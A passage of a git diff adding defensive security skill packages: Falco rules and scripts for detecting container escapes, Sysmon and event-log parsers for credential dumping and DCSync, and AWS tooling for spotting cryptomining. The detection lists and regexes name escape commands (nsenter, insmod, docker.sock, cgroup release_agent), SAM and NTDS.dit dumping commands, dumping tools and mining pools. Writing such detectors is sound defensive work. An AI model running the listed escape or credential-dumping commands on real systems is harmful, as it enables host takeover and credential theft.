parser.add_argument("--check-containers", action="store_true", + help="Check running containers for escape risks") + parser.add_argument("--container-id", help="Check specific container capabilities") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.falco_log: + alerts = parse_falco_json(args.falco_log) + results["falco_alerts"] = alerts + results["findings"].extend([{"source": "falco", **a} for a in alerts]) + + if args.audit_log: + audit = parse_auditd_escape_events(args.audit_log) + results["audit_events"] = audit + results["findings"].extend([{"source": "auditd", **a} for a in audit]) + + if args.check_containers: + priv = check_privileged_containers() + results["privileged_containers"] = priv + results["findings"].extend([{"source": "docker_inspect", **c} for c in priv]) + + if args.container_id: + caps = check_dangerous_capabilities(args.container_id) + results["dangerous_capabilities"] = caps + results["findings"].extend([{"source": "capabilities", **c} for c in caps]) + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-container-escape-with-falco-rules/LICENSE b/skills/detecting-container-escape-with-falco-rules/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-container-escape-with-falco-rules/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-container-escape-with-falco-rules/references/api-reference.md b/skills/detecting-container-escape-with-falco-rules/references/api-reference.md new file mode 100644 index 00000000..b667f835 --- /dev/null +++ b/skills/detecting-container-escape-with-falco-rules/references/api-reference.md @@ -0,0 +1,88 @@ +# API Reference: Detecting Container Escape with Falco Rules + +## Falco CLI + +```bash +falco --version # check version +falco --validate /path/to/rules.yaml # validate rules syntax +falco -r /etc/falco/rules.d/escape.yaml # load specific rules +falco --list # list all available fields +falco --list-events # list supported syscalls +``` + +## Falco Rule Syntax + +```yaml +- rule: + desc: + condition: + output: + priority: + tags: [tag1, tag2] + enabled: true +``` + +## Key Falco Filter Fields + +| Field | Description | +|-------|-------------| +| `container` | True if event is from a container | +| `spawned_process` | True if new process spawned | +| `proc.name` | Process name | +| `proc.cmdline` | Full command line | +| `proc.pname` | Parent process name | +| `fd.name` | File descriptor name/path | +| `container.name` | Container name | +| `container.image.repository` | Image repository | +| `container.privileged` | True if privileged | +| `proc.is_exe_upper_layer` | Binary not in original image | +| `evt.type` | Syscall type (setns, unshare, mount) | + +## Falco JSON Output Format + +```json +{ + "time": "2024-01-15T10:30:00.000Z", + "rule": "Container Escape Binary Execution", + "priority": "Critical", + "source": "syscall", + "output": "Escape binary in container...", + "output_fields": { + "user.name": "root", + "proc.cmdline": "nsenter -t 1 -m -u -i -n", + "container.name": "attacker-pod" + }, + "tags": ["container", "escape", "T1611"] +} +``` + +## Falcosidekick Alert Routing + +```yaml +config: + slack: + webhookurl: "https://hooks.slack.com/services/XXX" + minimumpriority: "critical" + elasticsearch: + hostport: "https://es:9200" + index: "falco-alerts" +``` + +## Helm Deployment + +```bash +helm repo add falcosecurity https://falcosecurity.github.io/charts +helm install falco falcosecurity/falco \ + --namespace falco --create-namespace \ + --set driver.kind=ebpf \ + --set falcosidekick.enabled=true +``` + +## CLI Usage + +```bash +python agent.py --check-status +python agent.py --validate-rules /etc/falco/rules.d/escape.yaml +python agent.py --parse-alerts /var/log/falco/events.json --min-priority Warning +python agent.py --generate-rules > escape-rules.yaml +``` diff --git a/skills/detecting-container-escape-with-falco-rules/scripts/agent.py b/skills/detecting-container-escape-with-falco-rules/scripts/agent.py new file mode 100644 index 00000000..45650243 --- /dev/null +++ b/skills/detecting-container-escape-with-falco-rules/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Falco-based container escape detection agent. + +Manages Falco rules, parses Falco alert output, and generates +escape detection reports from Falco JSON event streams. +""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime +from pathlib import Path + +ESCAPE_RULE_TAGS = ["container", "escape", "T1611", "T1610", "namespace", + "docker_socket", "cgroup", "kernel_module", "privileged"] + +SEVERITY_MAP = { + "Emergency": 0, "Alert": 1, "Critical": 2, "Error": 3, + "Warning": 4, "Notice": 5, "Informational": 6, "Debug": 7 +} + + +def check_falco_status(): + try: + result = subprocess.run(["falco", "--version"], + capture_output=True, text=True, timeout=10) + if result.returncode == 0: + version = result.stdout.strip() + return {"installed": True, "version": version} + except FileNotFoundError: + pass + try: + result = subprocess.run(["systemctl", "is-active", "falco"], + capture_output=True, text=True, timeout=5) + return {"installed": True, "service_status": result.stdout.strip()} + except FileNotFoundError: + pass + return {"installed": False} + + +def validate_rules_file(rules_path): + try: + result = subprocess.run( + ["falco", "--validate", rules_path], + capture_output=True, text=True, timeout=30) + return { + "valid": result.returncode == 0, + "output": result.stdout.strip() if result.returncode == 0 + else result.stderr.strip(), + } + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"valid": False, "error": str(e)} + + +def parse_falco_alerts(filepath, min_priority="Warning"): + min_level = SEVERITY_MAP.get(min_priority, 4) + alerts = [] + escape_alerts = [] + + with open(filepath, "r") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + evt = json.loads(line) + except json.JSONDecodeError: + continue + + priority = evt.get("priority", "Informational") + if SEVERITY_MAP.get(priority, 6) > min_level: + continue + + alert = { + "time": evt.get("time", ""), + "rule": evt.get("rule", ""), + "priority": priority, + "source": evt.get("source", "syscall"), + "output": evt.get("output", ""), + "fields": evt.get("output_fields", {}), + "tags": evt.get("tags", []), + } + alerts.append(alert) + + tags = set(evt.get("tags", [])) + if tags & set(ESCAPE_RULE_TAGS): + escape_alerts.append(alert) + + return {"total_alerts": len(alerts), "escape_alerts": escape_alerts} + + +def generate_escape_rules_yaml(): + rules = """# Container Escape Detection Rules for Falco +# Deploy to /etc/falco/rules.d/container-escape.yaml + +- list: escape_binaries + items: [nsenter, unshare, mount, umount, pivot_root, chroot, modprobe, insmod] + +- macro: container_escape_binary + condition: spawned_process and container and proc.name in (escape_binaries) + +- rule: Container Escape Binary Execution + desc: Detect execution of binaries commonly used for container escape + condition: container_escape_binary + output: "Escape binary in container (user=%user.name cmd=%proc.cmdline container=%container.name image=%container.image.repository)" + priority: CRITICAL + tags: [container, escape, T1611] + +- rule: Docker Socket Access from Container + desc: Container accessing Docker socket enables full host control + condition: (open_read or open_write) and container and fd.name = /var/run/docker.sock + output: "Docker socket accessed (user=%user.name container=%container.name cmd=%proc.cmdline)" + priority: CRITICAL + tags: [container, escape, docker_socket, T1610] + +- rule: Cgroup Release Agent Write + desc: Writing to cgroup release_agent is a known container escape vector + condition: open_write and container and fd.name endswith release_agent + output: "Cgroup escape attempt (user=%user.name container=%container.name file=%fd.name)" + priority: CRITICAL + tags: [container, escape, cgroup] + +- rule: Kernel Module Load from Container + desc: Container attempting to load kernel module + condition: spawned_process and container and proc.name in (modprobe, insmod, rmmod) + output: "Kernel module load (user=%user.name container=%container.name cmd=%proc.cmdline)" + priority: CRITICAL + tags: [container, escape, kernel_module] + +- rule: Sensitive Proc Access from Container + desc: Container accessing sensitive /proc or /sys paths + condition: open_read and container and (fd.name startswith /proc/sysrq-trigger or fd.name startswith /proc/kcore or fd.name startswith /proc/kallsyms) + output: "Sensitive proc access (container=%container.name path=%fd.name cmd=%proc.cmdline)" + priority: CRITICAL + tags: [container, escape, proc_access] +""" + return rules + + +def main(): + parser = argparse.ArgumentParser(description="Falco Container Escape Detection") + parser.add_argument("--check-status", action="store_true", help="Check Falco installation") + parser.add_argument("--validate-rules", help="Validate a Falco rules file") + parser.add_argument("--parse-alerts", help="Parse Falco JSON alert log") + parser.add_argument("--min-priority", default="Warning", + choices=list(SEVERITY_MAP.keys())) + parser.add_argument("--generate-rules", action="store_true", + help="Output escape detection rules YAML") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z"} + + if args.check_status: + results["falco_status"] = check_falco_status() + + if args.validate_rules: + results["validation"] = validate_rules_file(args.validate_rules) + + if args.parse_alerts: + parsed = parse_falco_alerts(args.parse_alerts, args.min_priority) + results["alert_summary"] = { + "total_alerts": parsed["total_alerts"], + "escape_alerts_count": len(parsed["escape_alerts"]), + } + results["escape_alerts"] = parsed["escape_alerts"] + + if args.generate_rules: + print(generate_escape_rules_yaml()) + return + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-credential-dumping-with-edr/LICENSE b/skills/detecting-credential-dumping-with-edr/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-credential-dumping-with-edr/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-credential-dumping-with-edr/references/api-reference.md b/skills/detecting-credential-dumping-with-edr/references/api-reference.md new file mode 100644 index 00000000..94588c53 --- /dev/null +++ b/skills/detecting-credential-dumping-with-edr/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Detecting Credential Dumping with EDR + +## T1003 Sub-Techniques + +| Sub-technique | Method | Key Evidence | +|---------------|--------|--------------| +| T1003.001 | LSASS Memory | Sysmon Event ID 10, GrantedAccess mask | +| T1003.002 | SAM Registry | reg.exe save HKLM\SAM, Event ID 4656 | +| T1003.003 | NTDS.dit | vssadmin shadow copy, ntdsutil ifm | +| T1003.004 | LSA Secrets | Registry HKLM\SECURITY | +| T1003.005 | Cached Creds | DCC2 hashes in SECURITY hive | +| T1003.006 | DCSync | Event ID 4662, replication GUIDs | + +## python-evtx Library + +```python +import Evtx.Evtx as evtx + +with evtx.Evtx("Sysmon.evtx") as log: + for record in log.records(): + xml = record.xml() + # Parse EventID, SourceImage, TargetImage, GrantedAccess +``` + +## LSASS Suspicious Access Masks + +| GrantedAccess | Meaning | +|---------------|---------| +| 0x1010 | PROCESS_VM_READ + QUERY_INFO (Mimikatz) | +| 0x1038 | VM_READ + QUERY_INFO + VM_WRITE | +| 0x1FFFFF | PROCESS_ALL_ACCESS | + +## DCSync Replication GUIDs + +``` +DS-Replication-Get-Changes: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 +DS-Replication-Get-Changes-All: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 +DS-Replication-Get-Changes-In-Filtered: 89e95b76-444d-4c62-991a-0facbeda640c +``` + +## Splunk SPL - LSASS Access Detection + +```spl +index=sysmon EventCode=10 TargetImage="*\\lsass.exe" +| where NOT match(SourceImage, "(csrss|services|svchost|lsm|MsMpEng)\\.exe$") +| where GrantedAccess IN ("0x1010", "0x1038", "0x1FFFFF") +| table _time SourceImage GrantedAccess Computer SourceUser +``` + +## KQL - Microsoft Defender for Endpoint + +```kql +DeviceProcessEvents +| where FileName in ("mimikatz.exe", "procdump.exe", "nanodump.exe") + or ProcessCommandLine has_any ("sekurlsa", "lsadump", "MiniDump") +| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName +``` + +## CLI Usage + +```bash +python agent.py --sysmon-log Sysmon.evtx +python agent.py --security-log Security.evtx +python agent.py --command-log process_audit.log +``` diff --git a/skills/detecting-credential-dumping-with-edr/scripts/agent.py b/skills/detecting-credential-dumping-with-edr/scripts/agent.py new file mode 100644 index 00000000..d3f65fcf --- /dev/null +++ b/skills/detecting-credential-dumping-with-edr/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""Credential dumping detection agent using Sysmon and Windows Event Log analysis. + +Parses EVTX logs for LSASS access (Event ID 10), SAM registry access, +DCSync indicators (Event ID 4662), and suspicious process patterns. +""" + +import argparse +import json +import re +import struct +import sys +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx + import Evtx.Views as views +except ImportError: + evtx = None + +LSASS_SUSPICIOUS_ACCESS = { + "0x1010": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (Mimikatz)", + "0x1038": "PROCESS_VM_READ | PROCESS_QUERY_INFO | PROCESS_VM_WRITE", + "0x1fffff": "PROCESS_ALL_ACCESS", + "0x1410": "PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION", + "0x0810": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION", +} + +LSASS_LEGITIMATE_SOURCES = { + "csrss.exe", "services.exe", "lsm.exe", "svchost.exe", + "mrt.exe", "taskmgr.exe", "wmiprvse.exe", +} + +DCSYNC_GUIDS = { + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", + "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", +} + +SAM_COMMANDS = [ + r"reg\s+save\s+hklm\\sam", + r"reg\s+save\s+hklm\\security", + r"reg\s+save\s+hklm\\system", + r"vssadmin\s+create\s+shadow", + r"ntdsutil.*ifm", + r"copy.*ntds\.dit", + r"esentutl.*ntds", +] + +DUMP_TOOLS = { + "mimikatz.exe": "CRITICAL", "procdump.exe": "HIGH", "procdump64.exe": "HIGH", + "nanodump.exe": "CRITICAL", "pypykatz": "CRITICAL", + "secretsdump.py": "CRITICAL", "lazagne.exe": "HIGH", +} + + +def parse_sysmon_event10(filepath): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + if "10" not in xml: + continue + target = re.search(r'([^<]+)', xml) + if not target or "lsass.exe" not in target.group(1).lower(): + continue + source = re.search(r'([^<]+)', xml) + access = re.search(r'([^<]+)', xml) + source_user = re.search(r'([^<]+)', xml) + time_created = re.search(r'SystemTime="([^"]+)"', xml) + + source_name = source.group(1) if source else "" + source_basename = source_name.rsplit("\\", 1)[-1].lower() + access_mask = access.group(1) if access else "" + + if source_basename in LSASS_LEGITIMATE_SOURCES: + continue + + severity = "HIGH" + technique = "T1003.001" + if access_mask.lower() in LSASS_SUSPICIOUS_ACCESS: + severity = "CRITICAL" + + findings.append({ + "event_id": 10, + "timestamp": time_created.group(1) if time_created else "", + "source_image": source_name, + "target_image": target.group(1), + "granted_access": access_mask, + "access_meaning": LSASS_SUSPICIOUS_ACCESS.get(access_mask.lower(), ""), + "source_user": source_user.group(1) if source_user else "", + "severity": severity, + "mitre": technique, + }) + return findings + + +def parse_security_4662(filepath): + if evtx is None: + return {"error": "python-evtx not installed"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + if "4662" not in xml: + continue + props = re.search(r'([^<]+)', xml) + if not props: + continue + prop_text = props.group(1).lower() + matched_guids = [] + for guid, name in DCSYNC_GUIDS.items(): + if guid in prop_text: + matched_guids.append(name) + if not matched_guids: + continue + subject = re.search(r'([^<]+)', xml) + subject_name = subject.group(1) if subject else "" + if subject_name.endswith("$"): + continue + time_created = re.search(r'SystemTime="([^"]+)"', xml) + findings.append({ + "event_id": 4662, + "timestamp": time_created.group(1) if time_created else "", + "subject_user": subject_name, + "replication_rights": matched_guids, + "severity": "CRITICAL", + "mitre": "T1003.006", + "description": "DCSync - non-DC account requesting replication", + }) + return findings + + +def detect_sam_dump_commands(filepath): + findings = [] + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + for line_num, line in enumerate(f, 1): + for pattern in SAM_COMMANDS: + if re.search(pattern, line, re.IGNORECASE): + findings.append({ + "line": line_num, + "command": line.strip()[:200], + "pattern": pattern, + "severity": "CRITICAL", + "mitre": "T1003.002", + }) + for tool, sev in DUMP_TOOLS.items(): + if tool.lower() in line.lower(): + findings.append({ + "line": line_num, + "tool": tool, + "severity": sev, + "mitre": "T1003", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Credential Dumping Detector") + parser.add_argument("--sysmon-log", help="Sysmon EVTX file for LSASS access (Event 10)") + parser.add_argument("--security-log", help="Security EVTX file for DCSync (Event 4662)") + parser.add_argument("--command-log", help="Text log to scan for SAM dump commands") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.sysmon_log: + lsass = parse_sysmon_event10(args.sysmon_log) + if isinstance(lsass, dict) and "error" in lsass: + results["lsass_error"] = lsass["error"] + else: + results["lsass_access"] = lsass + results["findings"].extend(lsass) + + if args.security_log: + dcsync = parse_security_4662(args.security_log) + if isinstance(dcsync, dict) and "error" in dcsync: + results["dcsync_error"] = dcsync["error"] + else: + results["dcsync_events"] = dcsync + results["findings"].extend(dcsync) + + if args.command_log: + sam = detect_sam_dump_commands(args.command_log) + results["sam_dump_commands"] = sam + results["findings"].extend(sam) + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-cryptomining-in-cloud/LICENSE b/skills/detecting-cryptomining-in-cloud/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-cryptomining-in-cloud/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-cryptomining-in-cloud/references/api-reference.md b/skills/detecting-cryptomining-in-cloud/references/api-reference.md new file mode 100644 index 00000000..5c92216e --- /dev/null +++ b/skills/detecting-cryptomining-in-cloud/references/api-reference.md @@ -0,0 +1,76 @@ +# Detecting Cryptomining in Cloud API Reference + +## Detection Signal Categories + +| Signal | Source | Indicator | +|--------|--------|-----------| +| Cost spike | AWS Cost Explorer | Sudden EC2/GPU cost increase | +| High CPU | CloudWatch | Sustained >95% CPU utilization | +| Mining ports | VPC Flow Logs | Traffic on 3333, 4444, 14444 | +| DNS queries | GuardDuty / Route53 | Queries to pool domains | +| Process | Runtime Monitoring | xmrig, ccminer, ethminer | + +## GuardDuty Crypto Findings + +```bash +# List crypto findings +aws guardduty list-findings --detector-id $DET \ + --finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS","CryptoCurrency:Runtime/BitcoinTool.B"]}}}' +``` + +## CloudWatch CPU Alarm + +```bash +aws cloudwatch put-metric-alarm \ + --alarm-name "HighCPU-Mining" \ + --metric-name CPUUtilization \ + --namespace AWS/EC2 \ + --statistic Average \ + --period 300 --threshold 95 \ + --comparison-operator GreaterThanThreshold \ + --evaluation-periods 6 \ + --alarm-actions arn:aws:sns:us-east-1:123456:SOCAlerts +``` + +## AWS Cost Anomaly Detection + +```bash +# Create monitor +aws ce create-anomaly-monitor --anomaly-monitor '{ + "MonitorName": "EC2CostSpike", "MonitorType": "DIMENSIONAL", + "MonitorDimension": "SERVICE" +}' + +# Get anomalies +aws ce get-anomalies --date-interval '{"StartDate":"2024-01-01","EndDate":"2024-01-31"}' +``` + +## VPC Flow Logs Mining Port Query + +``` +fields @timestamp, srcaddr, dstaddr, dstport, bytes +| filter dstport in [3333, 4444, 5555, 14444, 45700] +| stats sum(bytes) as total_bytes by srcaddr, dstaddr, dstport +| sort total_bytes desc +``` + +## Known Mining Pool Domains + +``` +pool.minexmr.com, xmr.pool.minergate.com, monerohash.com, +xmrpool.eu, supportxmr.com, pool.hashvault.pro, +gulf.moneroocean.stream, rx.unmineable.com +``` + +## Instance Remediation + +```bash +# Terminate mining instance +aws ec2 terminate-instances --instance-ids i-0123456789abcdef0 + +# Isolate via security group +aws ec2 modify-instance-attribute --instance-id i-xxx --groups sg-isolation + +# Snapshot for forensics before termination +aws ec2 create-snapshot --volume-id vol-xxx --description "Mining forensics" +``` diff --git a/skills/detecting-cryptomining-in-cloud/scripts/agent.py b/skills/detecting-cryptomining-in-cloud/scripts/agent.py new file mode 100644 index 00000000..fe673011 --- /dev/null +++ b/skills/detecting-cryptomining-in-cloud/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Cloud cryptomining detection agent with multi-signal analysis.""" + +import json +import subprocess +import sys +from datetime import datetime, timedelta + + +MINING_PORTS = [3333, 4444, 5555, 7777, 8888, 9999, 14444, 14433, 45700] +MINING_DOMAINS = [ + "pool.minexmr.com", "xmr.pool.minergate.com", "monerohash.com", + "xmrpool.eu", "supportxmr.com", "pool.hashvault.pro", + "gulf.moneroocean.stream", "rx.unmineable.com", +] + + +def aws_cli(args): + """Execute AWS CLI command and return parsed JSON.""" + cmd = ["aws"] + args + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr.strip()} if result.returncode != 0 else {} + except Exception as e: + return {"error": str(e)} + + +def get_guardduty_crypto_findings(): + """Retrieve GuardDuty cryptocurrency-related findings.""" + det = aws_cli(["guardduty", "list-detectors"]) + detector_id = det.get("DetectorIds", [None])[0] + if not detector_id: + return {"error": "No GuardDuty detector found"} + + crypto_types = [ + "CryptoCurrency:EC2/BitcoinTool.B!DNS", + "CryptoCurrency:EC2/BitcoinTool.B", + "CryptoCurrency:Runtime/BitcoinTool.B!DNS", + "CryptoCurrency:Runtime/BitcoinTool.B", + "Impact:EC2/BitcoinDomainRequest.Reputation", + ] + result = aws_cli([ + "guardduty", "list-findings", + "--detector-id", detector_id, + "--finding-criteria", json.dumps({"Criterion": {"type": {"Eq": crypto_types}}}), + ]) + finding_ids = result.get("FindingIds", []) + if not finding_ids: + return {"count": 0, "findings": []} + + details = aws_cli(["guardduty", "get-findings", "--detector-id", detector_id, "--finding-ids"] + finding_ids[:20]) + parsed = [] + for f in details.get("Findings", []): + inst = f.get("Resource", {}).get("InstanceDetails", {}) + parsed.append({ + "type": f.get("Type"), + "severity": f.get("Severity"), + "instance_id": inst.get("InstanceId"), + "instance_type": inst.get("InstanceType"), + "region": f.get("Region"), + }) + return {"count": len(parsed), "findings": parsed} + + +def check_high_cpu_instances(): + """Find EC2 instances with sustained high CPU utilization.""" + instances = aws_cli(["ec2", "describe-instances", + "--filters", "Name=instance-state-name,Values=running", + "--query", "Reservations[*].Instances[*].[InstanceId,InstanceType,LaunchTime]", + "--output", "json"]) + return instances + + +def create_cost_anomaly_monitor(): + """Create AWS Cost Anomaly Detection monitor for EC2 spikes.""" + return aws_cli([ + "ce", "create-anomaly-monitor", + "--anomaly-monitor", json.dumps({ + "MonitorName": "CryptoMiningCostSpike", + "MonitorType": "DIMENSIONAL", + "MonitorDimension": "SERVICE", + }), + ]) + + +def check_cloudtrail_instance_launches(hours=24): + """Check CloudTrail for unusual instance launch patterns.""" + end_time = datetime.utcnow() + start_time = end_time - timedelta(hours=hours) + result = aws_cli([ + "cloudtrail", "lookup-events", + "--lookup-attributes", json.dumps([ + {"AttributeKey": "EventName", "AttributeValue": "RunInstances"} + ]), + "--start-time", start_time.isoformat() + "Z", + "--end-time", end_time.isoformat() + "Z", + "--max-results", "50", + ]) + events = [] + for e in result.get("Events", []): + detail = json.loads(e.get("CloudTrailEvent", "{}")) + events.append({ + "time": e.get("EventTime"), + "user": e.get("Username"), + "source_ip": detail.get("sourceIPAddress"), + "region": detail.get("awsRegion"), + "instance_type": detail.get("requestParameters", {}).get("instanceType"), + }) + return {"launches": events, "count": len(events)} + + +def query_vpc_flow_logs_mining(log_group="/aws/vpc/flowlogs"): + """Query VPC Flow Logs for traffic to mining pool ports.""" + port_filter = " || ".join([f"dstport = {p}" for p in MINING_PORTS]) + query = f""" + fields @timestamp, srcaddr, dstaddr, dstport, bytes, action + | filter ({port_filter}) + | sort @timestamp desc + | limit 100 + """ + return aws_cli([ + "logs", "start-query", + "--log-group-name", log_group, + "--start-time", str(int((datetime.utcnow() - timedelta(hours=24)).timestamp())), + "--end-time", str(int(datetime.utcnow().timestamp())), + "--query-string", query, + ]) + + +def isolate_mining_instance(instance_id): + """Isolate a mining instance by modifying its security group.""" + sg_result = aws_cli([ + "ec2", "create-security-group", + "--group-name", f"isolation-{instance_id}", + "--description", "Isolation SG for mining instance", + ]) + sg_id = sg_result.get("GroupId") + if not sg_id: + return {"error": "Failed to create isolation security group"} + + return aws_cli([ + "ec2", "modify-instance-attribute", + "--instance-id", instance_id, + "--groups", sg_id, + ]) + + +def generate_report(): + """Generate comprehensive cryptomining detection report.""" + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "guardduty": get_guardduty_crypto_findings(), + "recent_launches": check_cloudtrail_instance_launches(), + "known_mining_ports": MINING_PORTS, + "known_mining_domains": MINING_DOMAINS, + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + if action == "report": + print(json.dumps(generate_report(), indent=2, default=str)) + elif action == "findings": + print(json.dumps(get_guardduty_crypto_findings(), indent=2, default=str)) + elif action == "launches": + hours = int(sys.argv[2]) if len(sys.argv) > 2 else 24 + print(json.dumps(check_cloudtrail_instance_launches(hours), indent=2, default=str)) + elif action == "flow-logs": + lg = sys.argv[2] if len(sys.argv) > 2 else "/aws/vpc/flowlogs" + print(json.dumps(query_vpc_flow_logs_mining(lg), indent=2, default=str)) + elif action == "isolate" and len(sys.argv) > 2: + print(json.dumps(isolate_mining_instance(sys.argv[2]), indent=2)) + else: + print("Usage: agent.py [report|findings|launches [hours]|flow-logs [log-group]|isolate ]") diff --git a/skills/detecting-dcsync-attack-in-active-directory/LICENSE b/skills/detecting-dcsync-attack-in-active-directory/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-dcsync-attack-in-active-directory/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md b/skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md new file mode 100644 index 00000000..afdbc150 --- /dev/null +++ b/skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md @@ -0,0 +1,77 @@ +# API Reference: Detecting DCSync Attack in Active Directory + +## DCSync Replication GUIDs + +| GUID | Right | +|------|-------| +| 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 | DS-Replication-Get-Changes | +| 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 | 